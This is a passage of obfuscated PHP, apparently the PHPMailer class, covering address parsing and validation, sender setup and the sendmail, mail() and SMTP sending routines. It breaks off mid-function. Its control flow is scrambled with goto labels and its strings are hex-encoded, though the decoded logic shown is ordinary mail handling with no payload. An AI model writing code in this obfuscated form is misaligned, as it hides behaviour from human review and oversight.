t7rh7: goto ibeHu; KCPvo: if ("\122\145\x70\154\171\x2d\124\157" != $kind) { goto t7rh7; } goto XXTaZ; cVTKR: ORf9t: goto ro14U; jbVj6: $this->ReplyTo[strtolower($address)] = [$address, $name]; goto UHJNR; rXQc7: $error_message = sprintf("\x25\163\72\40\x25\x73", $this->lang("\x49\156\166\141\154\151\144\40\162\145\143\x69\160\x69\145\x6e\164\40\x6b\x69\156\144"), $kind); goto RYOou; ohzZx: Gtz08: goto b07JU; kxZRt: goto N5rvO; goto QpnZe; lEZcY: $this->setError($error_message); goto WOnTn; OZI2O: } public static function parseAddresses($addrstr, $useimap = true) { goto iLJgd; Jjkch: AI3p6: goto YHgh_; ydc1R: if ($useimap and function_exists("\x69\x6d\x61\x70\137\x72\x66\143\x38\62\x32\137\160\141\x72\163\145\137\141\x64\x72\x6c\x69\x73\164")) { goto CbU5b; } goto m0mx3; YHgh_: goto Kgkb3; goto ft8A0; bs3NK: foreach ($list as $address) { goto Lol8P; Lol8P: $address = trim($address); goto qY6DI; qActA: list($name, $email) = explode("\74", $address); goto zqOw1; jN9Mm: Zs_he: goto tlDcu; YtPyQ: uVwQn: goto R1ZIh; qY6DI: if (strpos($address, "\x3c") === false) { goto CareR; } goto qActA; hjhee: if (!static::validateAddress($address)) { goto tQmTq; } goto EGfbe; R1ZIh: goto Zs_he; goto HVH9j; tlDcu: cmg8E: goto aSn6M; vStuq: if (!static::validateAddress($email)) { goto uVwQn; } goto HYuYa; K2FCR: tQmTq: goto jN9Mm; EGfbe: $addresses[] = ["\x6e\141\155\x65" => '', "\141\144\x64\x72\x65\163\163" => $address]; goto K2FCR; HYuYa: $addresses[] = ["\156\141\155\145" => trim(str_replace(["\42", "\47"], '', $name)), "\x61\x64\144\x72\x65\163\x73" => $email]; goto YtPyQ; HVH9j: CareR: goto hjhee; zqOw1: $email = trim(str_replace("\x3e", '', $email)); goto vStuq; aSn6M: } goto Jjkch; qALSL: foreach ($list as $address) { goto Zp_Lh; Djg9_: qq77W: goto ZnTfF; Zp_Lh: if (!("\56\123\x59\116\x54\101\130\55\x45\x52\122\x4f\122\x2e" != $address->host)) { goto qq77W; } goto EYQ8x; ZnTfF: GUOuq: goto phh1w; MDumz: $addresses[] = ["\156\x61\155\x65" => property_exists($address, "\160\145\162\x73\157\x6e\x61\154") ? $address->personal : '', "\x61\x64\x64\x72\x65\x73\163" => $address->mailbox . "\x40" . $address->host]; goto j_6CL; j_6CL: kY8D_: goto Djg9_; EYQ8x: if (!static::validateAddress($address->mailbox . "\100" . $address->host)) { goto kY8D_; } goto MDumz; phh1w: } goto mFhb_; Bd1k0: return $addresses; goto vXNjM; m0mx3: $list = explode("\x2c", $addrstr); goto bs3NK; mRi9_: $list = imap_rfc822_parse_adrlist($addrstr, ''); goto qALSL; mFhb_: MRreK: goto Mrzkd; Mrzkd: Kgkb3: goto Bd1k0; ft8A0: CbU5b: goto mRi9_; iLJgd: $addresses = []; goto ydc1R; vXNjM: } public function setFrom($address, $name = '', $auto = true) { goto YgCtz; e4aBu: $this->edebug($error_message); goto M3C9e; irhi8: throw new Exception($error_message); goto N6y9D; i6Eo2: $this->From = $address; goto QOVcC; CBHSI: $error_message = sprintf("\45\x73\40\x28\x46\x72\157\155\51\72\40\45\163", $this->lang("\151\156\x76\141\x6c\151\144\x5f\141\x64\x64\162\x65\163\163"), $address); goto VDSm_; M3C9e: if (!$this->exceptions) { goto wwuIm; } goto irhi8; VDSm_: $this->setError($error_message); goto e4aBu; G2w6J: $pos = strrpos($address, "\x40"); goto RvMKa; KKKmv: h9UUq: goto i6Eo2; tKkoL: if (!empty($this->Sender)) { goto N5xS4; } goto TjUcY; vomfK: $name = trim(preg_replace("\57\133\134\162\134\156\x5d\53\57", '', $name)); goto G2w6J; je5Z2: return false; goto KKKmv; ByOcg: mBUGN: goto A48e0; TjUcY: $this->Sender = $address; goto Ezm5I; N6y9D: wwuIm: goto je5Z2; RvMKa: if (!(false === $pos or (!$this->has8bitChars(substr($address, ++$pos)) or !static::idnSupported()) and !static::validateAddress($address))) { goto h9UUq; } goto CBHSI; A48e0: return true; goto nnfXQ; QOVcC: $this->FromName = $name; goto eILJ8; Ezm5I: N5xS4: goto ByOcg; YgCtz: $address = trim($address); goto vomfK; eILJ8: if (!$auto) { goto mBUGN; } goto tKkoL; nnfXQ: } public function getLastMessageID() { return $this->lastMessageID; } public static function validateAddress($address, $patternselect = null) { goto KNxlJ; Wrkym: switch ($patternselect) { case "\x70\143\x72\145": case "\x70\x63\162\x65\70": return (bool) preg_match("\x2f\136\x28\77\41\50\x3f\x3e\x28\77\61\x29\x22\77\50\77\x3e\x5c\134\x5b\x20\55\x7e\135\174\x5b\136\42\135\51\42\x3f\50\x3f\x31\51\x29\x7b\62\x35\x35\x2c\175\x29\x28\x3f\x21\50\x3f\76\50\x3f\x31\x29\x22\77\x28\x3f\x3e\x5c\134\133\x20\55\176\x5d\x7c\133\136\x22\x5d\x29\x22\77\50\77\x31\51\51\x7b\x36\65\x2c\175\100\51" . "\x28\x28\x3f\x3e\x28\77\x3e\x28\77\x3e\x28\50\77\76\50\77\x3e\50\x3f\x3e\134\x78\60\104\134\170\x30\x41\51\77\133\x5c\x74\x20\135\51\53\174\x28\x3f\76\x5b\134\x74\x20\x5d\x2a\134\x78\60\104\134\170\x30\101\51\77\x5b\134\x74\x20\135\53\x29\x3f\51\x28\x5c\x28\50\77\x3e\50\x3f\x32\51" . "\x28\77\76\x5b\134\x78\60\x31\x2d\x5c\170\x30\70\x5c\x78\x30\102\134\x78\60\x43\x5c\170\x30\x45\55\x27\52\55\x5c\x5b\134\x5d\55\x5c\x78\x37\106\135\174\x5c\x5c\x5b\x5c\170\60\60\x2d\x5c\170\67\106\135\x7c\x28\77\x33\51\x29\x29\52\x28\77\62\51\x5c\51\x29\51\53\x28\77\62\51\51\174\50\77\62\51\x29\x3f\51" . "\x28\133\41\43\55\47\x2a\53\134\57\55\x39\x3d\77\136\x2d\176\55\x5d\53\174\x22\x28\x3f\x3e\50\x3f\62\51\x28\x3f\x3e\133\x5c\x78\x30\61\55\x5c\x78\x30\x38\134\x78\60\102\134\170\60\x43\x5c\170\x30\105\x2d\41\x23\55\134\x5b\134\135\x2d\x5c\170\x37\x46\x5d\174\134\134\133\134\x78\60\60\55\134\170\x37\106\x5d\51\51\x2a" . "\x28\77\x32\x29\42\51\50\77\x3e\x28\77\61\51\134\56\x28\77\x31\51\x28\77\64\x29\x29\52\x28\x3f\61\51\100\50\x3f\x21\50\x3f\61\x29\133\x61\x2d\x7a\x30\x2d\71\55\x5d\x7b\66\x34\54\x7d\51\x28\x3f\61\51\50\x3f\x3e\50\133\x61\55\x7a\x30\x2d\x39\135\50\x3f\x3e\x5b\x61\x2d\172\60\55\71\55\x5d\x2a\x5b\141\x2d\172\x30\55\x39\135\x29\x3f\x29" . "\x28\x3f\76\x28\x3f\61\51\134\x2e\50\77\41\50\77\x31\51\133\x61\55\x7a\x30\x2d\x39\55\x5d\x7b\66\x34\x2c\175\x29\50\77\x31\x29\x28\x3f\x35\x29\51\x7b\60\x2c\x31\62\x36\175\x7c\x5c\133\50\77\x3a\x28\x3f\x3e\x49\x50\x76\x36\x3a\x28\x3f\76\50\x5b\141\x2d\146\60\55\71\x5d\173\x31\54\64\x7d\51\x28\x3f\76\72\x28\x3f\x36\x29\51\173\67\x7d" . "\174\x28\x3f\41\50\77\72\x2e\52\133\x61\55\x66\60\x2d\x39\x5d\x5b\72\134\x5d\135\51\x7b\70\x2c\x7d\51\x28\50\x3f\x36\51\x28\77\x3e\72\x28\77\x36\51\51\173\60\x2c\x36\x7d\x29\77\72\72\50\x3f\67\51\77\51\51\x7c\50\77\76\50\x3f\x3e\x49\120\166\66\x3a\50\77\x3e\x28\x3f\66\x29\50\77\x3e\72\x28\x3f\66\51\51\x7b\65\175\72" . "\x7c\x28\x3f\x21\x28\77\72\x2e\x2a\x5b\141\x2d\x66\60\55\x39\x5d\72\51\x7b\x36\x2c\x7d\x29\50\77\x38\51\x3f\x3a\x3a\x28\77\76\50\50\x3f\x36\x29\x28\77\76\x3a\50\x3f\x36\51\x29\173\60\x2c\64\175\51\72\51\77\51\x29\x3f\x28\x32\65\133\60\55\x35\x5d\x7c\62\x5b\x30\55\64\135\133\x30\55\71\135\x7c\61\x5b\60\x2d\71\135\x7b\62\x7d" . "\x7c\x5b\61\x2d\71\x5d\77\x5b\x30\55\x39\135\51\50\x3f\x3e\x5c\56\50\77\71\51\x29\x7b\x33\x7d\51\x29\x5c\x5d\x29\x28\77\61\x29\44\57\x69\x73\104", $address); case "\150\x74\x6d\x6c\65": return (bool) preg_match("\x2f\x5e\133\141\55\172\101\x2d\132\60\x2d\71\x2e\x21\x23\44\45\x26\x27\x2a\53\x5c\57\x3d\77\136\137\x60\173\174\175\176\55\x5d\x2b\100\133\141\x2d\172\x41\x2d\132\60\55\71\x5d\50\77\x3a\x5b\x61\55\172\101\55\132\x30\55\x39\55\135\x7b\60\x2c\66\x31\175" . "\133\141\55\x7a\101\55\x5a\60\55\71\135\51\77\x28\x3f\72\x5c\56\133\x61\x2d\x7a\x41\x2d\132\60\55\x39\x5d\x28\77\72\133\141\x2d\x7a\x41\x2d\132\60\x2d\71\x2d\x5d\173\60\x2c\x36\x31\175\133\x61\55\172\101\x2d\x5a\x30\x2d\x39\x5d\x29\77\51\x2a\44\57\163\104", $address); case "\x70\150\x70": default: return (bool) filter_var($address, FILTER_VALIDATE_EMAIL); } goto iLe9I; BHX5q: return call_user_func($patternselect, $address); goto jkUSl; SswrH: $patternselect = static::$validator; goto y6T2e; KNxlJ: if (!(null === $patternselect)) { goto kWbd1; } goto SswrH; sMnES: return false; goto d7dkG; iLe9I: ToB1Y: goto n40Rv; y6T2e: kWbd1: goto IP4nv; Bfckd: if (!(strpos($address, "\12") !== false or strpos($address, "\xd") !== false)) { goto qXkdM; } goto sMnES; jkUSl: Usu9n: goto Bfckd; IP4nv: if (!is_callable($patternselect)) { goto Usu9n; } goto BHX5q; n40Rv: VB2_g: goto Tlhki; d7dkG: qXkdM: goto Wrkym; Tlhki: } public static function idnSupported() { return function_exists("\x69\x64\156\x5f\x74\x6f\137\141\x73\143\151\x69") and function_exists("\155\142\137\x63\157\156\x76\145\162\x74\137\x65\156\x63\157\144\x69\156\147"); } public function punyencodeAddress($address) { goto KYIXQ; HnN9M: if (!(static::idnSupported() and !empty($this->CharSet) and false !== $pos)) { goto b3dE4; } goto yiL11; qQrO8: $domain = mb_convert_encoding($domain, "\125\x54\106\x2d\x38", $this->CharSet); goto Rvxez; WUlEK: if (!(false !== $punycode)) { goto fL7JN; } goto X46Mf; ynMCC: MNLpq: goto AkOxm; bSBry: $punycode = idn_to_ascii($domain, $errorcode, INTL_IDNA_VARIANT_UTS46); goto WUlEK; AkOxm: b3dE4: goto a3Jct; yiL11: $domain = substr($address, ++$pos); goto p99dx; p99dx: if (!($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet))) { goto MNLpq; } goto qQrO8; L_kiz: fL7JN: goto ynMCC; KYIXQ: $pos = strrpos($address, "\x40"); goto HnN9M; a3Jct: return $address; goto Y3yEy; X46Mf: return substr($address, 0, $pos) . $punycode; goto L_kiz; Rvxez: $errorcode = 0; goto bSBry; Y3yEy: } public function send() { try { goto LSzKy; vT9wC: return false; goto JwtrX; LSzKy: if ($this->preSend()) { goto gPdjV; } goto vT9wC; JwtrX: gPdjV: goto R2EhI; R2EhI: return $this->postSend(); goto hM0w3; hM0w3: } catch (Exception $exc) { goto rEC5y; d3D6L: $this->setError($exc->getMessage()); goto AP3VF; fIlx2: return false; goto Ephw1; CfCVK: throw $exc; goto IJJEg; AP3VF: if (!$this->exceptions) { goto fZCc8; } goto CfCVK; rEC5y: $this->mailHeader = ''; goto d3D6L; IJJEg: fZCc8: goto fIlx2; Ephw1: } } public function preSend() { goto ucSJF; ucSJF: if ("\x73\155\x74\160" == $this->Mailer or "\155\141\151\x6c" == $this->Mailer and stripos(PHP_OS, "\127\x49\116") === 0) { goto fPhg4; } goto JDL5O; bYlqC: fPhg4: goto VforQ; x0DdQ: goto lTCW_; goto bYlqC; iPEoJ: if (!(ini_get("\155\x61\x69\154\x2e\x61\144\x64\x5f\x78\x5f\150\145\x61\x64\145\x72") == 1 and "\x6d\141\151\x6c" == $this->Mailer and stripos(PHP_OS, "\x57\111\x4e") === 0 and (version_compare(PHP_VERSION, "\67\x2e\60\x2e\60", "\76\x3d") and version_compare(PHP_VERSION, "\67\x2e\x30\x2e\61\x37", "\x3c") or version_compare(PHP_VERSION, "\x37\x2e\x31\x2e\x30", "\76\x3d") and version_compare(PHP_VERSION, "\67\56\x31\56\63", "\74")))) { goto qPWC7; } goto CdpHq; JDL5O: static::setLE(PHP_EOL); goto x0DdQ; VforQ: static::setLE("\15\xa"); goto rnpCR; O3n0c: try { goto wAg2d; bwdjE: $this->MIMEHeader = $this->createHeader(); goto uA9ld; HwfNn: ycEWH: goto A8g2g; IIvpv: foreach (["\x46\162\x6f\155", "\123\145\x6e\144\145\162", "\103\x6f\156\x66\x69\162\155\122\145\x61\144\151\x6e\x67\124\157"] as $address_kind) { goto DrlaQ; Cd0Eb: $this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind}); goto lBCgH; cuq6X: return false; goto PM62g; eqlUw: Bvcxn: goto Cd0Eb; aYVmj: if (!$this->exceptions) { goto Nmmzf; } goto h74Q5; PM62g: xJoB3: goto zIwFm; kGxuG: goto kkrIm; goto eqlUw; tN2Jn: Nmmzf: goto cuq6X; fHJtM: $this->edebug($error_message); goto aYVmj; h74Q5: throw new Exception($error_message); goto tN2Jn; eNxmm: if (!empty($this->{$address_kind})) { goto Bvcxn; } goto kGxuG; DrlaQ: $this->{$address_kind} = trim($this->{$address_kind}); goto eNxmm; VSUxy: $this->setError($error_message); goto fHJtM; katMH: $error_message = sprintf("\45\x73\40\50\45\163\x29\x3a\x20\x25\x73", $this->lang("\151\x6e\x76\x61\x6c\x69\x64\137\141\144\x64\162\145\x73\163"), $address_kind, $this->{$address_kind}); goto VSUxy; zIwFm: kkrIm: goto GFLrU; lBCgH: if (static::validateAddress($this->{$address_kind})) { goto xJoB3; } goto katMH; GFLrU: } goto HwfNn; V120J: $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody); goto nfYVr; yY7aG: M03EY: goto cd4E2; hyagf: if (!(!$this->AllowEmpty and empty($this->Body))) { goto Msr8V; } goto vKdGc; wAg2d: $this->error_count = 0; goto G9uZx; lbbFw: TMfQy: goto a_pmc; fT8ll: return true; goto hEdaG; uybnt: if (count($this->to) > 0) { goto tCo8K; } goto b0KkE; b0KkE: $this->mailHeader .= $this->headerLine("\124\x6f", "\x75\x6e\144\151\x73\x63\154\x6f\163\145\x64\55\x72\x65\143\x69\x70\x69\145\x6e\x74\163\72\x3b"); goto FW1oi; jNKJg: Msr8V: goto vrQ6S; UkmD8: qS0lu: goto IIvpv; JxEgd: $this->MIMEHeader = ''; goto G4YUH; BEBFw: if (!(!empty($this->DKIM_domain) and !empty($this->DKIM_selector) and (!empty($this->DKIM_private_string) or !empty($this->DKIM_private) and static::isPermittedPath($this->DKIM_private) and file_exists($this->DKIM_private)))) { goto s5GsZ; } goto V120J; A8g2g: if (!$this->alternativeExists()) { goto TMfQy; } goto GYcJ1; retWE: qsRBy: goto BEBFw; a_pmc: $this->setMessageType(); goto hyagf; FW1oi: goto M03EY; goto husAJ; G4YUH: $this->MIMEBody = $this->createBody(); goto txmHB; Rz_ci: if (!("\x6d\x61\151\154" == $this->Mailer)) { goto qsRBy; } goto uybnt; vKdGc: throw new Exception($this->lang("\x65\x6d\160\164\x79\x5f\x6d\145\x73\163\141\147\x65"), self::STOP_CRITICAL); goto jNKJg; txmHB: $tempheaders = $this->MIMEHeader; goto bwdjE; zuTdF: if (!(count($this->to) + count($this->cc) + count($this->bcc) < 1)) { goto qS0lu; } goto x3HIn; GYcJ1: $this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE; goto lbbFw; vrQ6S: $this->Subject = trim($this->Subject); goto JxEgd; fjtrA: DzN37: goto zuTdF; uA9ld: $this->MIMEHeader .= $tempheaders; goto Rz_ci; husAJ: tCo8K: goto mntWj; mntWj: $this->mailHeader .= $this->addrAppend("\124\157", $this->to); goto yY7aG; Ob4YQ: s5GsZ: goto fT8ll; G9uZx: $this->mailHeader = ''; goto RaCIf; cd4E2: $this->mailHeader .= $this->headerLine("\123\165\x62\152\x65\143\x74", $this->encodeHeader($this->secureHeader($this->Subject))); goto retWE; x3HIn: throw new Exception($this->lang("\x70\162\x6f\x76\x69\144\145\x5f\x61\144\x64\x72\x65\163\x73"), self::STOP_CRITICAL); goto UkmD8; nfYVr: $this->MIMEHeader = rtrim($this->MIMEHeader, "\15\12\x20") . static::$LE . static::normalizeBreaks($header_dkim) . static::$LE; goto Ob4YQ; RaCIf: foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { goto wfZPK; qr_dx: call_user_func_array([$this, "\x61\144\144\101\x6e\101\144\x64\162\x65\x73\163"], $params); goto If5tg; wfZPK: $params[1] = $this->punyencodeAddress($params[1]); goto qr_dx; If5tg: L87sZ: goto TuGCd; TuGCd: } goto fjtrA; hEdaG: } catch (Exception $exc) { goto hOK_i; ySh1M: throw $exc; goto PRJKR; LbP9h: return false; goto vhzTL; PRJKR: MO2J1: goto LbP9h; hOK_i: $this->setError($exc->getMessage()); goto FKRHu; FKRHu: if (!$this->exceptions) { goto MO2J1; } goto ySh1M; vhzTL: } goto kq33f; rnpCR: lTCW_: goto iPEoJ; CdpHq: trigger_error("\131\157\165\x72\x20\x76\x65\162\163\x69\x6f\x6e\x20\x6f\146\40\x50\110\120\40\151\163\x20\x61\146\146\x65\x63\x74\145\x64\x20\142\x79\40\141\x20\142\x75\147\40\164\x68\141\x74\x20\155\x61\171\40\x72\x65\x73\165\154\x74\x20\151\156\x20\143\157\162\x72\x75\160\164\145\x64\x20\x6d\x65\x73\x73\x61\x67\145\163\56" . "\40\x54\157\x20\x66\151\170\40\x69\x74\x2c\40\163\x77\x69\x74\x63\150\40\x74\x6f\x20\163\x65\x6e\144\151\x6e\147\40\165\x73\151\x6e\147\40\x53\x4d\124\120\x2c\x20\x64\x69\x73\141\142\x6c\x65\40\x74\150\145\x20\155\x61\151\154\56\141\144\144\x5f\170\137\x68\x65\x61\144\145\x72\x20\157\160\164\x69\x6f\x6e\x20\x69\156" . "\x20\x79\x6f\165\162\x20\x70\150\x70\x2e\151\156\x69\54\40\163\x77\x69\164\x63\x68\40\x74\x6f\40\x4d\x61\143\117\x53\40\157\162\40\x4c\x69\x6e\x75\170\54\40\x6f\162\x20\165\160\147\162\141\x64\x65\x20\171\157\x75\x72\x20\120\x48\x50\40\x74\x6f\40\166\x65\x72\163\x69\x6f\x6e\x20\67\56\60\x2e\x31\x37\53\40\x6f\x72\40\67\56\61\56\x33\x2b\x2e", E_USER_WARNING); goto LjHeZ; LjHeZ: qPWC7: goto O3n0c; kq33f: } public function postSend() { try { goto uUPwq; kS3Bc: wqueM: goto iTXlV; iTXlV: ig4pj: goto QjWK2; uUPwq: switch ($this->Mailer) { case "\163\x65\x6e\144\x6d\x61\x69\154": case "\x71\x6d\x61\151\154": return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case "\163\155\x74\160": return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case "\155\x61\x69\x6c": return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: goto d7sjf; d7sjf: $sendMethod = $this->Mailer . "\123\145\x6e\144"; goto wg3Ei; qOMls: dfrzn: goto K7fJ6; m5T2k: return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody); goto qOMls; wg3Ei: if (!method_exists($this, $sendMethod)) { goto dfrzn; } goto m5T2k; K7fJ6: return $this->mailSend($this->MIMEHeader, $this->MIMEBody); goto Aq19c; Aq19c: } goto kS3Bc; QjWK2: } catch (Exception $exc) { goto eZnGf; MkJdw: if (!$this->exceptions) { goto qz1Ce; } goto fF7e8; mRpSK: qz1Ce: goto mdbpr; LIb7g: $this->edebug($exc->getMessage()); goto MkJdw; fF7e8: throw $exc; goto mRpSK; eZnGf: $this->setError($exc->getMessage()); goto LIb7g; mdbpr: } return false; } protected function sendmailSend($header, $body) { goto ahW3Y; ahW3Y: if (!empty($this->Sender) and self::isShellSafe($this->Sender)) { goto FnB1E; } goto oYsIh; Bj0ZI: $sendmailFmt = "\x25\163\x20\55\x6f\x69\40\55\x66\x25\x73\40\55\164"; goto eRWO7; pf1U7: $this->doCallback($result == 0, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); goto KCu97; EBdgd: dysnx: goto XGZpS; idyxx: fwrite($mail, $header); goto YTJW2; oYsIh: if ("\161\155\x61\x69\x6c" == $this->Mailer) { goto R3fTK; } goto ARypA; UZ4AT: prIrH: goto idyxx; hIKam: throw new Exception($this->lang("\145\170\x65\x63\165\164\145") . $this->Sendmail, self::STOP_CRITICAL); goto UZ4AT; Vxpi0: a7JjH: goto MBi5r; ekwkP: $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); goto q4iRZ; Ytif0: hCSCU: goto K0zzs; K0zzs: goto a7JjH; goto cws3H; MBi5r: return true; goto sEM3e; MGzPS: goto aCpTe; goto kmShi; li_tN: if ($mail) { goto prIrH; } goto hIKam; cws3H: NzqM7: goto p7NQz; m9jrS: throw new Exception($this->lang("\145\x78\x65\x63\x75\164\145") . $this->Sendmail, self::STOP_CRITICAL); goto Ytif0; q4iRZ: if ($this->SingleTo) { goto NzqM7; } goto DXe9y; zWV8Q: if ("\161\155\141\x69\154" == $this->Mailer) { goto dysnx; } goto Bj0ZI; ARypA: $sendmailFmt = "\45\163\40\x2d\157\151\40\x2d\x74"; goto MGzPS; eRWO7: goto dCXL3; goto EBdgd; YTJW2: fwrite($mail, $body); goto qRPUR; Zunrr: $sendmailFmt = "\45\x73"; goto WioYz; uxev2: TAluN: goto ekwkP; qRPUR: $result = pclose($mail); goto pf1U7; kmShi: R3fTK: goto Zunrr; WioYz: aCpTe: goto vP_mu; vP_mu: goto TAluN; goto wQwuQ; XGZpS: $sendmailFmt = "\45\163\40\55\146\x25\163"; goto ffqe6; DXe9y: $mail = @popen($sendmail, "\167"); goto li_tN; wQwuQ: FnB1E: goto zWV8Q; E8ozq: OSYjE: goto Vxpi0; ffqe6: dCXL3: goto uxev2; p7NQz: foreach ($this->SingleToArray as $toAddr) { goto f0VG0; OKuKq: if ($mail) { goto m2tej; } goto KZjMH; CFy3L: E_lCS: goto BAH8c; ibjW4: throw new Exception($this->lang("\x65\170\x65\x63\x75\x74\145") . $this->Sendmail, self::STOP_CRITICAL); goto fV5sf; f0VG0: $mail = @popen($sendmail, "\167"); goto OKuKq; evjbK: m2tej: goto icqCf; poKYl: $this->doCallback($result == 0, [$toAddr], $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); goto IEZ6V; aNxnZ: fwrite($mail, $header); goto ybb3R; IEZ6V: if (!(0 !== $result)) { goto dAZEW; } goto ibjW4; ybb3R: fwrite($mail, $body); goto cZPcO; cZPcO: $result = pclose($mail); goto poKYl; fV5sf: dAZEW: goto CFy3L; KZjMH: throw new Exception($this->lang("\x65\170\145\143\x75\164\145") . $this->Sendmail, self::STOP_CRITICAL); goto evjbK; icqCf: fwrite($mail, "\124\157\x3a\40" . $toAddr . "\12"); goto aNxnZ; BAH8c: } goto E8ozq; KCu97: if (!(0 !== $result)) { goto hCSCU; } goto m9jrS; sEM3e: } protected static function isShellSafe($string) { goto y1Pnn; vkfnG: return false; goto fEth2; L4c7j: $c = $string[$i]; goto VNY9j; BIeZb: cAYfc: goto szGEC; MQso2: goto xo7Mg; goto SvN0X; szGEC: ++$i; goto MQso2; VNY9j: if (!(!ctype_alnum($c) && strpos("\x40\137\55\x2e", $c) === false)) { goto B6Cq0; } goto vkfnG; SvN0X: MbmZ8: goto UgJVS; Oc1Ex: $i = 0; goto v56RZ; UgJVS: return true; goto ue2C4; aLQzP: JFoA3: goto gt17O; y1Pnn: if (!(escapeshellcmd($string) !== $string or !in_array(escapeshellarg($string), ["\47{$string}\x27", "\x22{$string}\x22"]))) { goto JFoA3; } goto QT2S1; v56RZ: xo7Mg: goto WFrs9; gt17O: $length = strlen($string); goto Oc1Ex; fEth2: B6Cq0: goto BIeZb; WFrs9: if (!($i < $length)) { goto MbmZ8; } goto L4c7j; QT2S1: return false; goto aLQzP; ue2C4: } protected static function isPermittedPath($path) { return !preg_match("\43\136\133\x61\x2d\172\x5d\53\x3a\57\x2f\x23\x69", $path); } protected function mailSend($header, $body) { goto uJaLU; dV9ir: $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); goto CCwnn; WGr6q: owHm8: goto yV3pX; U_rXp: $result = false; goto JbQt_; BW2vF: $to = implode("\54\x20", $toArr); goto Gzd2k; EI10E: tYW4s: goto hz618; Zyvwk: HsDh4: goto U_rXp; F5Qw8: mvzko: goto gXmmg; hz618: TzvKM: goto JW7h3; mwVTb: throw new Exception($this->lang("\x69\156\x73\164\141\156\164\x69\141\x74\x65"), self::STOP_CRITICAL); goto WGr6q; BV0Ck: foreach ($toArr as $toAddr) { goto z6SCK; oOJDm: $this->doCallback($result, [$toAddr], $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); goto HyzGn; z6SCK: $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); goto oOJDm; HyzGn: UaN_4: goto CbCsD; CbCsD: } goto EI10E; nyL6k: PIJs3: goto YoiEK; bPK82: $params = sprintf("\x2d\146\45\163", $this->Sender); goto fPb_T; q9YtK: foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); y1Ocp: } goto YNxJ2; fPb_T: ivUhs: goto nyL6k; hrjE5: ini_set("\x73\x65\156\x64\x6d\141\151\x6c\x5f\146\162\157\x6d", $old_from); goto F5Qw8; JbQt_: if ($this->SingleTo and count($toArr) > 1) { goto uFVcN; } goto dV9ir; yV3pX: return true; goto XeIfk; ITMWj: ini_set("\163\x65\156\x64\155\141\x69\x6c\137\x66\162\157\x6d", $this->Sender); goto Zyvwk; IYW2Q: goto TzvKM; goto Mq2_J; YoiEK: if (!(!empty($this->Sender) and static::validateAddress($this->Sender))) { goto HsDh4; } goto FHEnD; ZejrZ: if (!self::isShellSafe($this->Sender)) { goto ivUhs; } goto bPK82; CCwnn: $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); goto IYW2Q; uJaLU: $toArr = []; goto q9YtK; FHEnD: $old_from = ini_get("\x73\145\156\x64\x6d\141\x69\x6c\137\146\162\x6f\155"); goto ITMWj; YNxJ2: nW0ks: goto BW2vF; JW7h3: if (!isset($old_from)) { goto mvzko; } goto hrjE5; Cz8HN: if (!(!empty($this->Sender) and static::validateAddress($this->Sender))) { goto PIJs3; } goto ZejrZ; Mq2_J: uFVcN: goto BV0Ck; gXmmg: if ($result) { goto owHm8; } goto mwVTb; Gzd2k: $params = null; goto Cz8HN; XeIfk: } public function getSMTPInstance() { goto gujgb; gujgb: if (is_object($this->smtp)) { goto grYva; } goto HmYmF; YI5w2: return $this->smtp; goto draQ_; rZkxB: grYva: goto YI5w2; HmYmF: $this->smtp = new SMTP(); goto rZkxB; draQ_: } public function setSMTPInstance(SMTP $smtp) { $this->smtp = $smtp; return $this->smtp; } protected function smtpSend($header, $body) { goto thaZr; jjyvh: if ($this->smtp->mail($smtp_from)) { goto jLkz_; } goto kvG11; Dvkyu: MUbZn: goto SRANX; rswnI: if (!(count($bad_rcpt) > 0)) { goto MUbZn; } goto HIyrh; ZOeIg: if ($this->SMTPKeepAlive) { goto oopsJ; } goto PP8Gd; t4VbC: $this->smtp->reset(); goto bOtjh; JfUPu: goto BSTFg; goto ydSOZ; PP8Gd: $this->smtp->quit(); goto sKJh2; UGH5_: foreach ($callbacks as $cb) { $this->doCallback($cb["\x69\x73\163\x65\x6e\x74"], [$cb["\x74\x6f"]], [], [], $this->Subject, $body, $this->From, ["\x73\x6d\x74\x70\x5f\164\x72\x61\156\163\x61\143\x74\151\x6f\x6e\137\x69\x64" => $smtp_transaction_id]); JuCir: } goto PvsDc; Qcu0X: throw new Exception($this->ErrorInfo, self::STOP_CRITICAL); goto iSrM1; xECoH: AYCO1: goto vNTvk; DBOmT: oopsJ: goto t4VbC; SRANX: return true; goto tcxku; c4_tG: vEd6S: goto KUS4_; eKDeY: foreach ($bad_rcpt as $bad) { $errstr .= $bad["\x74\157"] . "\x3a\x20" . $bad["\145\x72\162\x6f\x72"]; s5C82: } goto t9ofB; I3mHG: throw new Exception($this->lang("\x72\x65\x63\151\x70\151\x65\156\x74\x73\137\x66\141\x69\x6c\145\x64") . $errstr, self::STOP_CONTINUE); goto Dvkyu; vNTvk: if (!(count($this->all_recipients) > count($bad_rcpt) and !$this->smtp->data($header . $body))) { goto aC2k0; } goto Karol; thaZr: $bad_rcpt = []; goto zGemK; UBKUJ: foreach ([$this->to, $this->cc, $this->bcc] as $togroup) { goto xh_Cq; xh_Cq: foreach ($togroup as $to) { goto XyCma; n3OB6: kzZM8: goto I4QBG; awAor: $isSent = false; goto Za_EF; F3S4v: $bad_rcpt[] = ["\x74\157" => $to[0], "\145\x72\x72\x6f\162" => $error["\144\145\164\141\151\x6c"]]; goto awAor; aqawY: iAejy: goto hakWE; Za_EF: Y_jlp: goto gnqlb; ZidYJ: goto Y_jlp; goto aqawY; gnqlb: $callbacks[] = ["\x69\x73\x73\145\156\x74" => $isSent, "\164\x6f" 